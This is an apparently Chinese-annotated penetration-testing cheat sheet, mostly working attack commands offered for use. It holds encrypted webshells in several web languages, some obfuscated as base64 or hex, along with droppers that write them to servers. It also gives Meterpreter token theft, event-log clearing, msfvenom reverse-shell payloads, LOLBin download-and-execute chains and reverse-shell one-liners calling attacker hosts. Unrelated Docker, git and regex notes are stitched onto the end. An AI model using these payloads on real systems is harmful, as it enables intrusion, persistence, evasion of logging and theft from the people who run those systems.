echo -e '<%\nResponse.CharSet = "UTF-8" \nk="e45e329feb5d925b" \nSession("k")=k\nsize=Request.TotalBytes\ncontent=Request.BinaryRead(size)\nFor i=1 To size\nresult=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))\nNext\nexecute(result)\n%>' > 111.asp

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= |base64 -d > 111.jsp

echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e|xxd -r -ps > 111.jsp

echo PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5TdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7PC9qc3A6c2NyaXB0bGV0PjwvanNwOnJvb3Q+|base64 -d > 111.jsp

echo 3c6a73703a726f6f7420786d6c6e733a6a73703d22687474703a2f2f6a6176612e73756e2e636f6d2f4a53502f50616765222076657273696f6e3d22312e32223e3c6a73703a6469726563746976652e7061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a222f3e3c6a73703a6465636c61726174696f6e3e20636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d3c2f6a73703a6465636c61726174696f6e3e3c6a73703a7363726970746c65743e537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563282873657373696f6e2e67657456616c756528227522292b2222292e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b3c2f6a73703a7363726970746c65743e3c2f6a73703a726f6f743e|xxd -r -ps > 111.jspx

echo PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTtzZXNzaW9uX3N0YXJ0KCk7JGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7JF9TRVNTSU9OWydrJ109JGtleTtzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7JHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7aWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSl7JHQ9ImJhc2U2NF8iLiJkZWNvZGUiOyRwb3N0PSR0KCRwb3N0LiIiKTtmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHskcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgfX1lbHNleyRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpO30kYXJyPWV4cGxvZGUoJ3wnLCRwb3N0KTskZnVuYz0kYXJyWzBdOyRwYXJhbXM9JGFyclsxXTtjbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319QGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Pz4K|base64 -d > 111.php

echo 3c3f70687020406572726f725f7265706f7274696e672830293b73657373696f6e5f737461727428293b246b65793d2265343565333239666562356439323562223b245f53455353494f4e5b276b275d3d246b65793b73657373696f6e5f77726974655f636c6f736528293b24706f73743d66696c655f6765745f636f6e74656e747328227068703a2f2f696e70757422293b69662821657874656e73696f6e5f6c6f6164656428276f70656e73736c2729297b24743d226261736536345f222e226465636f6465223b24706f73743d24742824706f73742e2222293b666f722824693d303b24693c7374726c656e2824706f7374293b24692b2b29207b24706f73745b24695d203d2024706f73745b24695d5e246b65795b24692b312631355d3b207d7d656c73657b24706f73743d6f70656e73736c5f646563727970742824706f73742c2022414553313238222c20246b6579293b7d246172723d6578706c6f646528277c272c24706f7374293b2466756e633d246172725b305d3b24706172616d733d246172725b315d3b636c61737320437b7075626c69632066756e6374696f6e205f5f696e766f6b6528247029207b6576616c2824702e2222293b7d7d4063616c6c5f757365725f66756e63286e6577204328292c24706172616d73293b3f3ea|xxd -r -ps > 111.php

echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiAlPjwlQEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5SZWZsZWN0aW9uIiU+PCVTZXNzaW9uLkFkZCgiayIsImU0NWUzMjlmZWI1ZDkyNWIiKTtieXRlW10gayA9IEVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoU2Vzc2lvblswXSArICIiKSxjID0gUmVxdWVzdC5CaW5hcnlSZWFkKFJlcXVlc3QuQ29udGVudExlbmd0aCk7QXNzZW1ibHkuTG9hZChuZXcgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5SaWpuZGFlbE1hbmFnZWQoKS5DcmVhdGVEZWNyeXB0b3IoaywgaykuVHJhbnNmb3JtRmluYWxCbG9jayhjLCAwLCBjLkxlbmd0aCkpLkNyZWF0ZUluc3RhbmNlKCJVIikuRXF1YWxzKHRoaXMpOyU+|base64 -d > 111.aspx

echo 3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e|xxd -r -ps > 111.aspx

echo PCUKUmVzcG9uc2UuQ2hhclNldCA9ICJVVEYtOCIgCms9ImU0NWUzMjlmZWI1ZDkyNWIiClNlc3Npb24oImsiKT1rCnNpemU9UmVxdWVzdC5Ub3RhbEJ5dGVzCmNvbnRlbnQ9UmVxdWVzdC5CaW5hcnlSZWFkKHNpemUpCkZvciBpPTEgVG8gc2l6ZQpyZXN1bHQ9cmVzdWx0JkNocihhc2NiKG1pZGIoY29udGVudCxpLDEpKSBYb3IgQXNjKE1pZChrLChpIGFuZCAxNSkrMSwxKSkpCk5leHQKZXhlY3V0ZShyZXN1bHQpCiU+|base64 -d > 111.asp

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

http://ip/god.jsp?f=111.jsp&t=<%25@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%25><%25!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%25><%25if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%25>

http://ip/god.jsp?f=111.jspx&t=<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")%2B"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

<%@ page language=”java” pageEncoding=”gbk”%>

<jsp:directive.page import="java.io.File"/>

<jsp:directive.page import="java.io.OutputStream"/>

<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter(“act”);if(method!=null&&method.equals(“yoco”)){String url=request.getParameter(“url”);String text=request.getParameter(“smart”);File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
error
<%}}if(i==0){%>
ok
<%}%>

<form action='?act=yoco' method='post'>

<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>

<textarea rows="20" cols="80" name="smart">

<?php fwrite(fopen($_GET['filename'], "w"), $_GET['content']);?>

http://host/god.php?filename=111.php&content=<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i%2B%2B) {$post[$i] = $post[$i]^$key[$i%2B1%2615]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?>

<form method="post" enctype="multipart/form-data">Filename:<br /><input type="text" name="filename"><br />Content:<br /><textarea rows="20" cols="80" name="content"><?php fwrite(fopen($_POST['filename'], "w"), $_POST['content']);?>

<%@ Page Language="C#" %><% System.IO.File.WriteAllText(System.AppDomain.CurrentDomain.BaseDirectory+"\\"+Request.QueryString["filename"], Request.QueryString["content"]);%>

http://host/god.aspx?filename=god.aspx&content=<%@ Page Language="C%23" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] %2B ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

getsystem

run getgui -u test$ -p 123456

meterpreter >use incognito  加载incoginto功能（用来盗窃目标主机的令牌或是假冒用户)

meterpreter >list_tokens -u  列出目标主机用户的可用令牌

meterpreter >list_tokens -g  列出目标主机用户组的可用令牌

meterpreter >impersonate_token DOMAIN_NAME\\USERNAME  假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato

meterpreter >execute -f cmd.exe -i -t #调用域权限shell

meterpreter > getuid

meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户

meterpreter>reg command  # 在目标主机注册表中进行交互，创建，删除，查询等操作

meterpreter>setdesktop number  #切换到另一个用户界面（该功能基于哪些用户已登录）

meterpreter>ps #查看目标机器进程，找出域控账户运行的进程ID

meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒

meterpreter>drop_token pid #停止假冒当前令牌

python3 -c "import pty;pty.spawn('/bin/bash')"
python2 -c 'import pty;pty.spawn("/bin/sh")'

useradd newuwer;echo -e "123456\n123456\n" |passwd newuser

argue [command] [fake arguments]

argue powershell.exe xsdffsdfwfws

1. 攻击后端组件，寻找存在命令注入的、web 应用常用的后端组件，如，ImageMagick 的魔图漏洞、bash 的破壳漏洞
2. 寻找未禁用的漏网函数，常见的执行命令的函数有 system()、exec()、shell_exec()、passthru()，偏僻的 popen()、proc_open()、pcntl_exec()
3. mod_cgi 模式，尝试修改 .htaccess，调整请求访问路由，绕过 php.ini 中的任何限制
4. 利用环境变量 LD_PRELOAD 劫持系统函数，让外部程序加载恶意 *.so，达到执行系统命令的效果

系统日志：%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志：%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志：%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键：HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog

PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}

github项目地址：https://github.com/hlldz/Invoke-Phant0m

github项目地址：https://github.com/QAX-A-Team/EventCleaner

eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

cipher /w:D:\tools

format D: /P:8

for /r C: %i in (login.*) do @echo %i

where /R C: login.*

dir /s/a-d/b login.*

find / -name index.php

updatedb && locate index.php

findstr /s /i /n /d:C:\ /c:"123123" *.txt

find / -name "index.php" | xargs grep "111222"

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o
payload.exe

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f macho -o payload.macho

//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f apk -o payload.apk

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

python2 -m SimpleHTTPServer 8081

python3 -m http.server 8081

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) > set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse\_tcp LHOST= 192.168.43.231 LPORT=53 -e x86/shikata\_ga_nai -b '\\\x00\\\x0a\\\xff' -i 3 -f exe -o payload.exe

echo !C:\\payload.exe > o &&echo quit >> o &Ftp ‐n ‐s:o &&del /F /Q o

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) >  set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 92.168.43.231 LPORT=53  -f dll -o payload.dll

odbcconf.exe /a {regsvr C:\\payload.dll}

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) >  set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

[version]
 Signature=$chicago$
 AdvancedINF=2.5
[DefaultInstall_SingleUser]
 RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
 C:\payload.dll
[Strings]
 AppAct = "SOFTWARE\Microsoft\Connection Manager" 
 ServiceName="safe6" 
 ShortSvcName="safe6"

cmstp /s safe6.inf

use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit

rundll32.exe \\\192.168.1.109\\vabFG\\test.dll,0

RegSvr32.exe具有以下命令行选项：
语法：Regsvr32 [/s] [/ u] \[/ n] \[/ i [：cmdline\]\]<dllname>            
 / u –注销服务器            
 / i –调用DllInstall，并为其传递可选的\[cmdline\]；     与/ u一起使用时，它将调用dll进行卸载         
/ n –不调用DllRegisterServer；此选项必须与
/ i一起使用
/ s –静音；不显示消息框

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payloadphp/meterpreter/reverse\_tcp
msf exploit (web_delivery)> set lhost192.168.1.109
msf exploit (web_delivery)>set srvhost192.168.1.109
msf exploit (web_delivery)>exploit

(New-Object Net.WebClient).DownloadString("http://xx.xx.xx.xx /test.ps1")

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")

echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -

git clone https://github.com/besimorhino/powercat.git
cd powercat
python -m SimpleHTTPServer 80

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd"

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat

powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/1.bat'))

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs >1.vbs

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.109/1.vbs',\\"$env:temp\\test.vbs\\");Start-Process %windir%\\system32\\cscript.exe \\"$env:temp\\test.vbs\\""

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

certutil.exe -urlcache -split -f https://xx.xx.xx.xx/xx c:\\temp:ttt

certutil.exe -urlcache *

certutil -encode lcx64.exe lcx64.txt

certutil -decode lcx64.txt lcx64.exe

certutil -hashfile a.exe MD5

Certutil & Certutil –urlcache –f –split url
Certutil | Certutil –urlcache –f –split url

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe & shell.exe

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

C:\Windows\Personalization

C:\windows\Personalization\LockScreenImage\LockScreenImage_%random%.jpg

desktopimgdownldr /lockscreenurl:https://domain.com:8080/file.exe /
eventName：randomname

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP

%systemroot%\Personalization\LockScreenImage

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 /eventName:desktopimgdownldr

C:\Windows\system32>desktopimgdownldr
/lockscreenurl:http://xx.xxx.xx.xx/test.ps1 /eventName:randomname

mklink /J "%TEMP%\Registration" C:\windows\Registration && set
"SYSTEMROOT=%TEMP%" && cmd /c desktopimgdownldr.exe
/lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr &
rmdir /s /q "%TEMP%\Registration"

CertReq -Post -config https://example.org/ c:\windows\win.ini

CertReq -Post -config https://example.org/ c:\windows\win.ini

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

nc -l -p 12345 < "file_to_send"

RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT > "$LFILE"

base64 "file_to_send" | nc -l -p 12345
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"

export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py
pip install $TF

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109lport=1234 -f msi > 1.msi

msiexec /q /i http://192.168.1.109/1.msi

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"

use stager/js/wmic
set SRVHOST 192.168.1.107
run

wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"

wmic.exe process call create "C:\\Windows\\system32\\reg.exe add

\\\\"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File

Execution

Options\\test.exe\\" /v \\"Debugger\\" /t REG_SZ /d \\"cmd.exe\\"/
f"

NetUserAdd //添加用户
NetLocalGroupAddMembers //添加用户到管理员

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) >set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) >set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) >exploit

mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta

exploit/windows/local/applocker_bypass

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

sn -k key.snk

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

shellcode_launcher.exe -i test.c

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s

-rwxr-xr-x. 1 root root 4096 3月 26 10:57，其中最前面的 - 表示这是一个普通文件
lrwxrwxrwx. 1 root root 4096 3月 26 10:57，其中最前面的 l 表示这是一个链接文件，类似 Windows 的快捷方式
drwxr-xr-x. 5 root root 4096 3月 26 10:57，其中最前面的 d 表示这是一个目录

for var in item1

do

    command1

    command2

Done

while condition

do

       command

done

sudo docker search metasploit

sudo docker pull metasploitframework/metasploit-framework

sudo docker images

sudo docker run metasploitframework/metasploit-framework

sudo docker run 644b96152120

sudo docker run -dit --name msf metasploitframework/metasploit-framework

sudo docker exec -it msf /bin/bash

sudo docker run -dit -p 5000:80 --name nginx nginx:latest

sudo docker port nginx

sudo docker start nginx

sudo docker stop nginx

sudo docker restart nginx

sudo docker ps

docker ps -a

sudo docker rm 容器id

sudo docker rm -f 容器id

sudo docker rmi 镜像id

sudo docker network ls

git config  credential.helper store

[credential]
helper=store

^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$

^[A-Za-z0-9\u4e00-\u9fa5]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$

^1(3|4|5|6|7|8|9)\d{9}$

(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}

^((http:\/\/)|(https:\/\/))?([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}(\/)

((?:(?:25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d?\d))

^[a-zA-Z][a-zA-Z0-9_]{4,15}$

^[\u4e00-\u9fa5]{0,}$

^[A-Za-z0-9]+$

^.{3,20}$

^[A-Za-z]+$

^[A-Z]+$

^[a-z]+$

^[A-Za-z0-9]+$

^\w+$

^[\u4E00-\u9FA5A-Za-z0-9_]+$

^[\u4E00-\u9FA5A-Za-z0-9]+$

[^%&',;=?$\x22]+

